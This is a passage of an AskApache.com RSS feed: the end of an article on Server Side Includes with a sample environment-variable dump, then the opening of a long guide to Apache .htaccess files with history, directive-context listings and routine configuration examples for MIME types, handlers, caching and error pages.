<dd><code>[an error occurred while processing this directive]</code> - On Errors parsing SSI.</dd>
<dt><code>TIME_FORMAT</code></dt>
<dd><code>%A, %d-%b-%Y %H:%M:%S %Z</code> - Default Time format for DATE</dd>
<dt><code>UNDEFINED_ECHO</code></dt>
<dd><code>(none)</code> - When echoing an undefined variable.</dd>
</dl>

<h3>SSI Variables</h3>
<pre>DATE_GMT=Sun Mar  8 22:58:56 2009
DATE_LOCAL=Sun Mar  8 15:58:56 2009
DOCUMENT_NAME=FOOTER.html
DOCUMENT_ROOT=/root-srv/protected/askapache.com/sec
DOCUMENT_URI=/includes/FOOTER.html
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
HTTP_ACCEPT_CHARSET=ISO-8859-1,utf-8;q=0.7,*;q=0.7
HTTP_ACCEPT_ENCODING=gzip,deflate
HTTP_ACCEPT_LANGUAGE=en-us,en;q=0.5
HTTP_CACHE_CONTROL=max-age=0
HTTP_CONNECTION=keep-alive
HTTP_COOKIE=__qca=12298910-686528-46510;  __utmb=50625.1.0.11311
HTTP_HOST=www.askapache.com
HTTP_KEEP_ALIVE=300
HTTP_REFERER=http://www.askapache.com/htaccess/htaccess.html
HTTP_USER_AGENT=Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 (.NET CLR 3.5.30729)
LAST_MODIFIED=Sun Mar  8 14:53:50 2009
PATH=/bin:/usr/bin:/sbin:/usr/sbin
QUERY_STRING=
REMOTE_ADDR=24.123.215.58
REMOTE_PORT=4785
REQUEST_METHOD=GET
REQUEST_URI=/htaccess/
SCRIPT_FILENAME=/root-srv/protected/askapache.com/sec/includes/FOOTER.html
SCRIPT_NAME=/includes/FOOTER.html
SCRIPT_URI=http://www.askapache.com/htaccess/
SCRIPT_URL=/htaccess/
SERVER_ADDR=64.111.114.111
SERVER_ADMIN=webmaster@askapache.com
SERVER_NAME=www.askapache.com
SERVER_PORT=80
SERVER_PROTOCOL=INCLUDED
SERVER_SIGNATURE=
SERVER_SOFTWARE=Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.63 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
UNIQUE_ID=dnbtH0Bvcm8A2ZHqcAAAAM
USER_NAME=</pre>




<h3>More SSI Information</h3>
<ol>
<li><a href="http://httpd.apache.org/docs/trunk/mod/mod_include.html">mod_include</a></li>
<li><a href="http://httpd.apache.org/docs/trunk/filter.html">Apache Filters</a></li>
<li><a href="http://httpd.apache.org/docs/trunk/howto/ssi.html">Introduction to Server Side Includes</a></li>
<li><a href="http://httpd.apache.org/docs/trunk/handler.html">Apache Handlers</a></li>
</ol><p><a href="http://www.askapache.com/htaccess/advanced-htaccess-ssi.html"></a><a href="http://www.askapache.com/htaccess/advanced-htaccess-ssi.html">SSI in Htaccess for ErrorDocuments, DirectoryIndexing, SEO</a> originally appeared on <cite>AskApache.com</cite> </p>]]></content:encoded>
			<wfw:commentRss>http://www.askapache.com/htaccess/advanced-htaccess-ssi.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>THE Ultimate Htaccess</title>
		<link>http://www.askapache.com/htaccess/htaccess.html</link>
		<comments>http://www.askapache.com/htaccess/htaccess.html#comments</comments>
		<pubDate>Sat, 10 Jan 2009 13:05:32 +0000</pubDate>
		<dc:creator>AskApache</dc:creator>
				<category><![CDATA[Htaccess]]></category>

		<guid isPermaLink="false">http://www.askapache.com.com/htaccess/htaccesselite-ultimate-htaccess-article.html</guid>
		<description><![CDATA[<p><strong>Skip this - still under edit</strong></p>
<p>I discovered these tips and tricks mostly while working as a network security penetration specialist hired to find security holes in web hosting environments.  Shared hosting is the most common and cheapest form of web-hosting where multiple customers are placed on a single machine and "share" the resources (CPU/RAM/SPACE).  The machines are configured to basically ONLY do HTTP and FTP.  No shells or any interactive logins, no ssh, just FTP access.  That is when I started examining htaccess files in great detail and learned about the incredible untapped power of htaccess.  For 99% of the worlds best Apache admins, they don't use .htaccess much, if AT ALL.  It's much easier, safer, and faster to configure Apache using the httpd.conf file instead.  However, this file is almost never readable on shared-hosts, and I've never seen it writable.  So the only avenue left for those on shared-hosting was and is the .htaccess file, and holy freaking fiber-optics.. it's almost as powerful as httpd.conf itself!<br /><br />Most all .htaccess code works in the httpd.conf file, but not all httpd.conf code works in .htaccess files, around 50%.  So all the best Apache admins and programmers never used .htaccess files.  There was no incentive for those with access to httpd.conf to use htaccess, and the gap grew.  It's common to see "computer gurus" on forums and mailing lists rail against all uses and users of .htaccess files, smugly announcing the well known problems with .htaccess files compared with httpd.conf - I wonder if these "gurus" know the history of the htaccess file, like it's use in the earliest versions of the HTTP Server- NCSA's HTTPd, which BTW, became known as Apache HTTP.  So you could easily say that htaccess files predates Apache itself.<br /><br />Once I discovered what .htaccess files could do towards helping me enumerate and exploit security vulnerabilities even on big shared-hosts I focused all my research into .htaccess files, meaning I was reading the venerable Apache HTTP Source code 24/7!  I compiled every released version of the Apache Web Server, ever, even NCSA's, and focused on enumerating the most powerful htaccess directives. Good times! Because my focus was on protocol/file/network vulnerabilites instead of web dev I built up a nice toolbox of htaccess tricks to do unusual things.  When I switched over to webdev in 2005 I started using htaccess for websites, not research.  I documented most of my favorites and rewrote the htaccess guide for webdevelopers.  After some great encouragement on various forums and nets I decided to start a blog to share my work with everyone, AskApache.com was registered, I published my guide, and it was quickly plagiarized and scraped all over the net.  Information is freedom, and freedom is information, so this blog has the least restrictive copyright for you.  Feel free to modify, copy, republish, sell, or use anything on this site ;)</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.askapache.com/htaccess/htaccess.html"></a><a href="http://www.askapache.com/htaccess/htaccess.html"><cite>AskApache.com</cite></a></p><p><dfn title="HyperText Access">.htaccess</dfn> is a very ancient configuration file that controls the Web Server running your website, and is one of the most powerful configuration files you will ever come across. Htaccess has the ability to control access of the <acronym title="World Wide Web">WWW</acronym>'s HyperText Transfer Protocol (<acronym title="HyperText Transfer Protocol">HTTP</acronym>) using Password Protection, 301 Redirects, rewrites, and much much more.  This is because this configuration file was coded in the earliest days of the web (HTTP), for one of the first Web Servers ever!  Eventually these Web Servers (configured with htaccess) became known as the World Wide Web, and eventually grew into the Internet we use today.</p>
<p><a class="IFL" href="/htaccess/htaccess.html"><img src="http://uploads.askapache.com/2008/08/htaccess-up.png" alt=".htaccess file tutorial" title=".htaccess file tutorial" width="141" height="144" /></a>This is not an <em>introduction to .htaccess</em>&hellip; This is the evolution of the best of the best <tt>.htaccess</tt> on the planet.  Its changed over the years with more and better <strong>.htaccess tricks</strong> using real <a href="#htaccess-code-examples">.htaccess example code</a>.  I add my favorite htaccess-related links and sites, results from my <a href="#best-htaccess-articles">htaccess research</a>, and frequently update this article.<br /><br />You've come to the right place if you are looking to acquire <strong>mad skills</strong> for using .htaccess files.<br /><br />Originally (2003) this guide was known in certain hacker circles and hidden corners of the net as an <em>ultimate .htaccess</em> due to the powerful <strong>htaccess tricks</strong> and tips to bypass security on a webhost, and also because many of the tricks and <a href="#htaccess-code-examples">examples</a> were pretty impressive back then in that group.<br class="C" /></p>

<h2>AskApache Htaccess Journey</h2>
<p><strong>Skip this - still under edit</strong></p>
<p>I discovered these tips and tricks mostly while working as a network security penetration specialist hired to find security holes in web hosting environments.  Shared hosting is the most common and cheapest form of web-hosting where multiple customers are placed on a single machine and "share" the resources (CPU/RAM/SPACE).  The machines are configured to basically ONLY do HTTP and FTP.  No shells or any interactive logins, no ssh, just FTP access.  That is when I started examining htaccess files in great detail and learned about the incredible untapped power of htaccess.  For 99% of the worlds best Apache admins, they don't use .htaccess much, if AT ALL.  It's much easier, safer, and faster to configure Apache using the httpd.conf file instead.  However, this file is almost never readable on shared-hosts, and I've never seen it writable.  So the only avenue left for those on shared-hosting was and is the .htaccess file, and holy freaking fiber-optics.. it's almost as powerful as httpd.conf itself!<br /><br />Most all .htaccess code works in the httpd.conf file, but not all httpd.conf code works in .htaccess files, around 50%.  So all the best Apache admins and programmers never used .htaccess files.  There was no incentive for those with access to httpd.conf to use htaccess, and the gap grew.  It's common to see "computer gurus" on forums and mailing lists rail against all uses and users of .htaccess files, smugly announcing the well known problems with .htaccess files compared with httpd.conf - I wonder if these "gurus" know the history of the htaccess file, like it's use in the earliest versions of the HTTP Server- NCSA's HTTPd, which BTW, became known as Apache HTTP.  So you could easily say that htaccess files predates Apache itself.<br /><br />Once I discovered what .htaccess files could do towards helping me enumerate and exploit security vulnerabilities even on big shared-hosts I focused all my research into .htaccess files, meaning I was reading the venerable Apache HTTP Source code 24/7!  I compiled every released version of the Apache Web Server, ever, even NCSA's, and focused on enumerating the most powerful htaccess directives. Good times! Because my focus was on protocol/file/network vulnerabilites instead of web dev I built up a nice toolbox of htaccess tricks to do unusual things.  When I switched over to webdev in 2005 I started using htaccess for websites, not research.  I documented most of my favorites and rewrote the htaccess guide for webdevelopers.  After some great encouragement on various forums and nets I decided to start a blog to share my work with everyone, AskApache.com was registered, I published my guide, and it was quickly plagiarized and scraped all over the net.  Information is freedom, and freedom is information, so this blog has the least restrictive copyright for you.  Feel free to modify, copy, republish, sell, or use anything on this site ;)</p>



<h2 class="htaccess" id="h21adf" style="font-weight:bold;">Htaccess - Evolved</h2>
<p>The Hyper Text Transfer Protocol (HTTP) was initiated at the CERN in Geneve (Switzerland), where it emerged (together with the HTML presentation language) from the need to exchange scientific information on a computer network in a simple manner. The first public HTTP implementation only allowed for plain text information, and almost instantaneously became a replacement of the GOPHER service. One of the first text-based browsers was LYNX which still exists today; a graphical HTTP client appeared very quickly with the name NCSA Mosaic. Mosaic was a popular browser back in 1994. Soon the need for a more rich multimedia experience was born, and the markup language provided support for a growing multitude of media types.</p>
<p>Htaccess file know-how will do several things for you:</p>
<ul><li>Make your website noticeably faster.</li><li>Allow you to debug your server with ease.</li><li>Make your life easier and more rewarding.</li><li>Allow you to work faster and more productively.</li></ul>


<h3>What Is .htaccess</h3>
<p>Specifically, <kbd>.htaccess</kbd> is the default file name of a special configuration file that provides a number of <a href="#htaccess-directives">directives</a> (commands) for controlling and configuring the <a href="http://httpd.apache.org/" title="open-source HTTP server running the WWW">Apache Web Server</a>, and also to control and configure <a href="#htaccess-modules">modules</a> that can be built into the Apache installation, or included at run-time like mod_rewrite (for htaccess rewrite), mod_alias (for htaccess redirects), and mod_ssl (for controlling SSL connections).</p>
<p><strong>Htaccess</strong> allows for decentralized management of Web Server configurations which makes life very easy for web hosting companies and especially their savvy consumers.  They set up and run "server farms" where many hundreds and thousands of web hosting customers are all put on the same Apache Server.  This type of hosting is called "virtual hosting" and without .htaccess files would mean that every customer must use the same exact settings as everyone else on their segment.  So that is why any half-decent web host allows/enables <em>(DreamHost, Powweb, MediaTemple, GoDaddy) .htaccess files</em>, though few people are aware of it.  Let's just say that if I was a customer on your server-farm, and .htaccess files were enabled, my websites would be a LOT faster than yours, as these configuration files allow you to fully take advantage of and utilize the resources allotted to you by your host.  If even 1/10 of the sites on a server-farm took advantage of what they are paying for, the providers would go out of business.</p>

<blockquote cite="http://httpd.apache.org/docs/1.3/misc/API.html">
<p>One of the design goals for this server was to maintain external compatibility with the NCSA 1.3 server --- that is, to read the same configuration files, to process all the directives therein correctly, and in general to be a drop-in replacement for NCSA. On the other hand, another design goal was to move as much of the server's functionality into modules which have as little as possible to do with the monolithic server core. The only way to reconcile these goals is to move the handling of most commands from the central server into the modules.</p>
<p>However, just giving the modules command tables is not enough to divorce them completely from the server core. The server has to remember the commands in order to act on them later. That involves maintaining data which is private to the modules, and which can be either per-server, or per-directory. Most things are per-directory, including in particular access control and authorization information, but also information on how to determine file types from suffixes, which can be modified by AddType and DefaultType directives, and so forth. In general, the governing philosophy is that anything which can be made configurable by directory should be; per-server information is generally used in the standard set of modules for information like Aliases and Redirects which come into play before the request is tied to a particular place in the underlying file system.</p>
<p>Another requirement for emulating the NCSA server is being able to handle the <strong>per-directory configuration files, generally called .htaccess files</strong>, though even in the NCSA server they can contain directives which have nothing at all to do with access control. Accordingly, after URI -> filename translation, but before performing any other phase, the server walks down the directory hierarchy of the underlying filesystem, following the translated pathname, to read any .htaccess files which might be present. The information which is read in then has to be merged with the applicable information from the server's own config files (either from the <code>&lt;directory&gt;</code> sections in access.conf, or from defaults in srm.conf, which actually behaves for most purposes almost exactly like <code>&lt;directory /&gt;</code>).</p>
<p>Finally, after having served a request which involved <strong>reading .htaccess files</strong>, we need to discard the storage allocated for handling them. That is solved the same way it is solved wherever else similar problems come up, by tying those structures to the per-transaction resource pool.</p>
</blockquote>


<h4 class="tic">Creating Htaccess Files</h4>
<p><a class="IFL" href="http://uploads.askapache.com/2009/01/htaccess-explorer.png"><img src="http://uploads.askapache.com/2009/01/htaccess-explorer.png" alt="What an Htaccess File Looks Like in Windows Explorer" title="What an Htaccess File Looks Like in Windows Explorer" width="243" height="322" /></a>Htaccess files use the default filename "<code>.htaccess</code>" but any unix-style file name can be specified from the <a href="#httpd-config-examples">main server config</a> using the <code>AccessFileName</code> directive.  The file isn't <code>.htaccess.txt</code>, its literally just named <code>.htaccess</code>.<br class="C" /></p>
<p><a class="IFR" href="http://uploads.askapache.com/2009/01/viewing-htaccess-files.png"><img src="http://uploads.askapache.com/2009/01/viewing-htaccess-files.png" alt="View .htaccess files" title="View .htaccess files" width="386" height="287" /></a>In a Windows Environment like the one I use for work, you can change how Windows opens and views .htaccess files by modifying the Folder Options in explorer.  As you can see, on my computer files ending in .htaccess are recognized as having the HTACCESS extension and are handled/opened by Adobe Dreamweaver CS4.<br class="C" /></p>

<h4>Htaccess Scope</h4>
<p>Unlike the main server configuration files like <a href="#httpd-config-examples">httpd.conf</a>, <strong>Htaccess files are read on every request</strong> therefore changes in these files take immediate effect.  Apache searches all directories and subdirectories that are htaccess-enabled for an .htaccess file which results in performance loss due to file accesses. I've never noticed a performance loss but OTOH, I know how to use them.  If you do have access to your main server configuration file, you should of course use that instead, and lucky for you ALL the .htaccess tricks and examples can be used there as well (just not vice versa).</p>


<h3>Htaccess File Syntax</h3>
<p>Htaccess files follow the same syntax as the main Apache configuration files, for powerusers here's an <a href='http://uploads.askapache.com/2009/01/apache.vim'>apache.vim</a> for VI. The one main difference is the <dfn title="Whether the directive is allowed in .htaccess files">context</dfn> of the directive, which means whether or not that directive is ALLOWED to be used inside of an .htaccess file.  Htaccess files are incredibly powerful, and can also be very dangerous as some directives allowed in the main configuration files would allow users/customers to completely bypass security/bandwidth-limits/resource-limits/file-permissions, etc..  About 1/4 of all Apache directives cannot be used inside an .htaccess file (also known as a per-directory context config).  The Apache Developers are well-regarded throughout the world as being among some of the best programmers, ever.  To enable a disallowed directive inside a .htaccess file would require modifying the source code and re-compiling the server (which they allow and encourage if you are the owner/admin).  Here's a taste of that famous Apache source code that builds the directives allowed in .htaccess file context, the key that tells whether its enabled in .htaccess context is the DIR_CMD_PERMS and then the OR_FILEINFO, which means a directive is enabled dependent on the AllowOverride directive that is only allowed in the main config.  First Apache 1.3.0, then Apache 2.2.10</p>

<h5>mod_autoindex</h5>
<pre>
AddIcon, add_icon, BY_PATH, DIR_CMD_PERMS, an icon URL followed by one or more filenames
AddIconByType, add_icon, BY_TYPE, DIR_CMD_PERMS, an icon URL followed by one or more MIME types
AddIconByEncoding, add_icon, BY_ENCODING, DIR_CMD_PERMS, an icon URL followed by one or more content encodings
AddAlt, add_alt, BY_PATH, DIR_CMD_PERMS, alternate descriptive text followed by one or more filenames
AddAltByType, add_alt, BY_TYPE, DIR_CMD_PERMS, alternate descriptive text followed by one or more MIME types
AddAltByEncoding, add_alt, BY_ENCODING, DIR_CMD_PERMS, alternate descriptive text followed by one or more content encodings
IndexOptions, add_opts, DIR_CMD_PERMS, RAW_ARGS, one or more index options
IndexIgnore, add_ignore, DIR_CMD_PERMS, ITERATE, one or more file extensions
AddDescription, add_desc, BY_PATH, DIR_CMD_PERMS, Descriptive text followed by one or more filenames
HeaderName, add_header, DIR_CMD_PERMS, TAKE1, a filename
ReadmeName, add_readme, DIR_CMD_PERMS, TAKE1, a filename
FancyIndexing, fancy_indexing, DIR_CMD_PERMS, FLAG, Limited to &#039;on&#039; or &#039;off&#039; (superseded by IndexOptions FancyIndexing)
DefaultIcon, ap_set_string_slot, (void *) XtOffsetOf(autoindex_config_rec, default_icon), DIR_CMD_PERMS, TAKE1, an icon URL
</pre>

<h5>mod_rewrite</h5>
<pre>
// mod_rewrite
RewriteEngine, cmd_rewriteengine, OR_FILEINFO, On or Off to enable or disable (default)
RewriteOptions, cmd_rewriteoptions, OR_FILEINFO, List of option strings to set
RewriteBase, cmd_rewritebase, OR_FILEINFO, the base URL of the per-directory context
RewriteCond, cmd_rewritecond, OR_FILEINFO, an input string and a to be applied regexp-pattern
RewriteRule, cmd_rewriterule, OR_FILEINFO, an URL-applied regexp-pattern and a substitution URL
RewriteMap, cmd_rewritemap, RSRC_CONF, a mapname and a filename
RewriteLock, cmd_rewritelock, RSRC_CONF, the filename of a lockfile used for inter-process synchronization
RewriteLog, cmd_rewritelog, RSRC_CONF, the filename of the rewriting logfile
RewriteLogLevel, cmd_rewriteloglevel, RSRC_CONF, the level of the rewriting logfile verbosity (0=none, 1=std, .., 9=max)
RewriteLog, fake_rewritelog, RSRC_CONF, [DISABLED] the filename of the rewriting logfile
RewriteLogLevel, fake_rewritelog, RSRC_CONF, [DISABLED] the level of the rewriting logfile verbosity
</pre>



<h3>Htaccess Directives</h3>
<p><strong>Don't ask why</strong>, but I personally downloaded each major/beta release of the Apache HTTPD source code from version 1.3.0 to version 2.2.10 (<dfn title="1.3.0, 1.3.1, 1.3.11, 1.3.12, 1.3.14, 1.3.17, 1.3.19, 1.3.2, 1.3.20, 1.3.22, 1.3.23, 1.3.24, 1.3.27, 1.3.28, 1.3.29, 1.3.3, 1.3.31, 1.3.32, 1.3.33, 1.3.34, 1.3.35, 1.3.36, 1.3.37, 1.3.39, 1.3.4, 1.3.41, 1.3.6, 1.3.9, 2.0.35, 2.0.36, 2.0.39, 2.0.40, 2.0.42, 2.0.43, 2.0.44, 2.0.45, 2.0.46, 2.0.47, 2.0.48, 2.0.49, 2.0.50, 2.0.51, 2.0.52, 2.0.53, 2.0.54, 2.0.55, 2.0.58, 2.0.59, 2.0.61, 2.0.63, 2.1.3-beta, 2.1.6-alpha, 2.1.7-beta, 2.1.8-beta, 2.1.9-beta, 2.2.0, 2.2.2, 2.2.3, 2.2.4, 2.2.6, 2.2.8, 2.2.9, 2.2.10">all 63 Apache versions</dfn>!), then I <strong>configured and compiled each version for a custom HTTPD installation built from source</strong>. This allowed me to find <strong><a href="#htaccess-directives-list">every directive allowed in .htaccess files</a></strong> for each particular version, which has never been done before, or since. <strong>YES!</strong> <em>I think that is so cool..</em></p>
<p><strong>An .htaccess directive</strong> is basically a command that is specific to a module or builtin to the core that performs a specific task or sets a specific setting for how Apache serves your WebSite.  Directives placed in Htaccess files <strong>apply to the directory they are in, and all sub-directories</strong>.  Here's the 3 top links (<em>official Apache Docs</em>) you will repeatedly use, bookmark/print/save them.</p>
<p><a href="http://uploads.askapache.com/2008/08/htaccess-up1.png"><img src="http://uploads.askapache.com/2008/08/htaccess-up1-350x178.png" alt="htaccess Context Legend" title="htaccess-up1" width="350" height="178" /></a></p>
<ol><li><a href="http://httpd.apache.org/docs/trunk/mod/directive-dict.html">Terms Used to Describe Directives</a></li><li><a href="http://httpd.apache.org/docs/trunk/mod/directives.html">Official List of Apache Directives</a></li><li><a href="http://httpd.apache.org/docs/trunk/mod/quickreference.html">Directive Quick-Reference -- with Context</a></li></ol>
<hr class="C" />


<h3>Litespeed Htaccess support</h3>
<p>Unlike other lightweight web servers, Apache compatible per-directory configuration overridden is fully supported by <a href="http://www.litespeedtech.com/">LiteSpeed Web Server</a>. With .htacess you can change configurations for any directory under document root on-the-fly, which in most cases is a mandatory feature in shared hosting environment.   It is worth noting that <em>enabling .htaccess support in LiteSpeed</em> Web Server will not degrade server's performance, comparing to Apache's 40% drop in performance. </p>







<h2>Main Server Config Examples</h2>
<p>Now lets take a look at some htaccess examples to get a feel for the syntax and some general ideas at the capabilities.  Some of the best examples for .htaccess files are included with Apache for <a href="http://httpd.apache.org/docs/trunk/configuring.html">main server config</a> files, so lets take a quick look at a couple of them on our way down to the actual .htaccess examples further down the page (this site has thousands, take your time).  As you can see, the basic syntax is a line starting with # is a comment, everything else are directives followed by the directive argument.</p>
<p><strong><a href="http://uploads.askapache.com/2008/08/httpd-multilang-errordocconf.in">httpd-multilang-errordoc.conf</a></strong>: The configuration below implements multi-language error documents through content-negotiation</p>
<pre>
Options IncludesNoExec
AddOutputFilter Includes html
AddHandler type-map var
LanguagePriority en cs de es fr it ja ko nl pl pt-br ro sv tr
ForceLanguagePriority Prefer Fallback
ErrorDocument 401 /error/HTTP_UNAUTHORIZED.html.var
ErrorDocument 403 /error/HTTP_FORBIDDEN.html.var
ErrorDocument 404 /error/HTTP_NOT_FOUND.html.var
</pre>
<p><strong><a href="http://uploads.askapache.com/2008/08/httpd-manualconf.in">httpd-manual.conf</a></strong>: Provide local access to the server documentation on your server</p>
<pre>
SetEnvIf Request_URI ^/manual/(de|en|es|fr|ja|ko|pt-br|ru|tr)/ prefer-language=$1
RedirectMatch 301 ^/manual(?:/(de|en|es|fr|ja|ko|pt-br|ru|tr)){2, }(/.*)?$ /manual/$1$2
LanguagePriority en de es fr ja ko pt-br ru tr
ForceLanguagePriority Prefer Fallback
</pre>
<p><strong><a href="http://uploads.askapache.com/2008/08/httpd-languagesconf.in">httpd-languages.conf</a></strong>: Settings for hosting different languages.</p>
<pre>
DefaultLanguage en
AddLanguage ca .ca
# Just list the languages in decreasing order of preference.
LanguagePriority en ca cs da de el eo es et fr he hr it ja ko ltz nl nn no pl pt pt-BR ru sv tr zh-CN zh-TW
# Commonly used filename extensions to character sets.
AddCharset us-ascii.ascii .us-ascii
AddCharset ISO-8859-1  .iso8859-1  .latin1
</pre>
<p><strong><a href="http://uploads.askapache.com/2008/08/httpd-autoindexconf.in">httpd-autoindex.conf</a></strong>: Directives controlling the display of server-generated directory listings.</p>
<pre>
# IndexOptions: Controls the appearance of server-generated directory listings.
IndexOptions FancyIndexing HTMLTable VersionSort
# AddIcon* directives tell the server which icon to show for different files or filename extensions.
AddIconByEncoding (CMP, /icons/compressed.gif) x-compress x-gzip
AddIconByType (TXT, /icons/text.gif) text/*
AddIcon /icons/folder.gif ^^DIRECTORY^^
# DefaultIcon is which icon to show for files which do not have an icon explicitly set.
DefaultIcon /icons/unknown.gif
# AddDescription allows you to place a short description after a file in server-generated indexes.
AddDescription "GZIP compressed document" .gz
# ReadmeName is the name of the README file the server will look for by default, and append to directory listings.
ReadmeName README.html
# HeaderName is the name of a file which should be prepended to directory indexes.
HeaderName HEADER.html
</pre>
<p>Here are the rest of them if you wanna take a look.  (<a href="http://uploads.askapache.com/2008/08/httpd-mpmconf.in" title="Server-Pool Management (MPM specific)">httpd-mpm.conf</a>, <a href="http://uploads.askapache.com/2008/08/httpd-defaultconf.in" title="This configuration file reflects default settings for Apache HTTP Server">httpd-default.conf</a>, <a href="http://uploads.askapache.com/2008/08/httpd-sslconf.in" title="Contains the configuration directives to instruct the server how to serve pages over an https connection">httpd-ssl.conf</a>, <a href="http://uploads.askapache.com/2008/08/httpd-infoconf.in" title="Get information about the requests being processed by the server and the configuration of the server">httpd-info.conf</a>, <a href="http://uploads.askapache.com/2008/08/httpd-vhostsconf.in" title="If you want to maintain multiple domains/hostnames on your machine">httpd-vhosts.conf</a>, <a href="http://uploads.askapache.com/2008/08/httpd-davconf.in" title="Distributed authoring and versioning (WebDAV)">httpd-dav.conf</a>)</p>
<hr class="C" />







<h2>Example .htaccess Files</h2>
<p>Here are some samples and examples taken from different .htaccess files I've used over the years.  Specific solutions are farther down on this page and throughout the site.</p>
<pre>
# Set the Time Zone of your Server
SetEnv TZ America/Indianapolis
# ServerAdmin:  This address appears on some server-generated pages, such as error documents.
SetEnv SERVER_ADMIN webmaster@askapache.com
# Possible values for the Options directive are "None", "All", or any combination of:
#  Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
Options -ExecCGI -MultiViews -Includes -Indexes FollowSymLinks
# DirectoryIndex: sets the file that Apache will serve if a directory is requested.
DirectoryIndex index.html index.php /index.php
#
# Action lets you define media types that will execute a script whenever
# a matching file is called. This eliminates the need for repeated URL
# pathnames for oft-used CGI file processors.
# Format: Action media/type /cgi-script/location
# Format: Action handler-name /cgi-script/location
#
Action php5-cgi /bin/php.cgi
#
# AddHandler allows you to map certain file extensions to "handlers":
# actions unrelated to filetype. These can be either built into the server
# or added with the Action directive (see below)
#
# To use CGI scripts outside of ScriptAliased directories:
# (You will also need to add "ExecCGI" to the "Options" directive.)
#
AddHandler php-cgi .php .inc
# Commonly used filename extensions to character sets.
AddDefaultCharset UTF-8
# AddType allows you to add to or override the MIME configuration
AddType &#039;application/rdf+xml; charset=UTF-8&#039; .rdf
AddType &#039;application/xhtml+xml; charset=UTF-8&#039; .xhtml
AddType &#039;application/xhtml+xml; charset=UTF-8&#039; .xhtml.gz
AddType &#039;text/html; charset=UTF-8&#039; .html
AddType &#039;text/html; charset=UTF-8&#039; .html.gz
AddType application/octet-stream .rar .chm .bz2 .tgz .msi .pdf .exe
AddType application/vnd.ms-excel .csv
AddType application/x-httpd-php-source .phps
AddType application/x-pilot .prc .pdb
AddType application/x-shockwave-flash .swf
AddType application/xrds+xml .xrdf
AddType text/plain .ini .sh .bsh .bash .awk .nawk .gawk .csh .var .c .in .h .asc .md5 .sha .sha1
AddType video/x-flv .flv
# AddEncoding allows you to have certain browsers uncompress information on the fly. Note: Not all browsers support this.
AddEncoding x-compress .Z
AddEncoding x-gzip .gz .tgz
# DefaultType: the default MIME type the server will use for a document.
DefaultType text/html
#
# Optionally add a line containing the server version and virtual host
# name to server-generated pages (internal error documents, FTP directory
# listings, mod_status and mod_info output etc., but not CGI generated
# documents or custom error documents).
# Set to "EMail" to also include a mailto: link to the ServerAdmin.
# Set to one of:  On | Off | EMail
#
ServerSignature Off
</pre>
<pre>
## MAIN DEFAULTS
Options +ExecCGI -Indexes
DirectoryIndex index.html index.htm index.php
DefaultLanguage en-US
AddDefaultCharset UTF-8
ServerSignature Off
## ENVIRONMENT VARIABLES
SetEnv PHPRC /webroot/includes
SetEnv TZ America/Indianapolis
&nbsp;
SetEnv SERVER_ADMIN webmaster@askapache.com
## MIME TYPES
AddType video/x-flv .flv
AddType application/x-shockwave-flash .swf
AddType image/x-icon .ico
## FORCE FILE TO DOWNLOAD INSTEAD OF APPEAR IN BROWSER
# http://www.htaccesselite.com/addtype-addhandler-action-vf6.html
AddType application/octet-stream .mov .mp3 .zip
## ERRORDOCUMENTS
# http://askapache.com/htaccess/apache-status-code-headers-errordocument.html
ErrorDocument 400 /e400/
ErrorDocument 401 /e401/
ErrorDocument 402 /e402/
ErrorDocument 403 /e403/
ErrorDocument 404 /e404/
#
# Handlers be builtin, included in a module, or added with Action directive
# default-handler: default, handles static content (core)
#   send-as-is: Send file with HTTP headers (mod_asis)
#   cgi-script: treat file as CGI script (mod_cgi)
#    imap-file: Parse as an imagemap rule file (mod_imap)
#   server-info: Get server config info (mod_info)
#  server-status: Get server status report (mod_status)
#    type-map: type map file for content negotiation (mod_negotiation)
#  fastcgi-script: treat file as fastcgi script (mod_fastcgi)
#
# http://www.askapache.com/php/custom-phpini-tips-and-tricks.html
## PARSE AS CGI
AddHandler cgi-script .cgi .pl .spl
## RUN PHP AS APACHE MODULE
AddHandler application/x-httpd-php .php .htm
## RUN PHP AS CGI
AddHandler php-cgi .php .htm
## CGI PHP WRAPPER FOR CUSTOM PHP.INI
AddHandler phpini-cgi .php .htm
Action phpini-cgi /cgi-bin/php5-custom-ini.cgi
## FAST-CGI SETUP WITH PHP-CGI WRAPPER FOR CUSTOM PHP.INI
AddHandler fastcgi-script .fcgi
AddHandler php-cgi .php .htm
Action php-cgi /cgi-bin/php5-wrapper.fcgi
## CUSTOM PHP CGI BINARY SETUP
AddHandler php-cgi .php .htm
Action php-cgi /cgi-bin/php.cgi
## PROCESS SPECIFIC FILETYPES WITH CGI-SCRIPT
Action image/gif /cgi-bin/img-create.cgi
## CREATE CUSTOM HANDLER FOR SPECIFIC FILE EXTENSIONS
AddHandler custom-processor .ssp
Action custom-processor /cgi-bin/myprocessor.cgi
### HEADER CACHING
# http://www.askapache.com/htaccess/speed-up-sites-with-htaccess-caching.html
&lt;FilesMatch "\.(flv|gif|jpg|jpeg|png|ico)$"&gt;
Header set Cache-Control "max-age=2592000"
&lt;/FilesMatch&gt;
&lt;FilesMatch "\.(js|css|pdf|swf)$"&gt;
Header set Cache-Control "max-age=604800"
&lt;/FilesMatch&gt;
&lt;FilesMatch "\.(html|htm|txt)$"&gt;
Header set Cache-Control "max-age=600"
&lt;/FilesMatch&gt;
&lt;FilesMatch "\.(pl|php|cgi|spl|scgi|fcgi)$"&gt;
Header unset Cache-Control
&lt;/FilesMatch&gt;
## ALTERNATE EXPIRES CACHING
# htaccesselite.com/d/use-htaccess-to-speed-up-your-site-discussion-vt67.html
ExpiresActive On
ExpiresDefault A604800
ExpiresByType image/x-icon A2592000
ExpiresByType application/x-javascript A2592000
ExpiresByType text/css A2592000
ExpiresByType text/html A300
&lt;FilesMatch "\.(pl|php|cgi|spl|scgi|fcgi)$"&gt;
ExpiresActive Off
&lt;/FilesMatch&gt;
## META HTTP-EQUIV REPLACEMENTS
&lt;FilesMatch "\.(html|htm|php)$"&gt;
Header set imagetoolbar "no"
&lt;/FilesMatch&gt;
</pre>
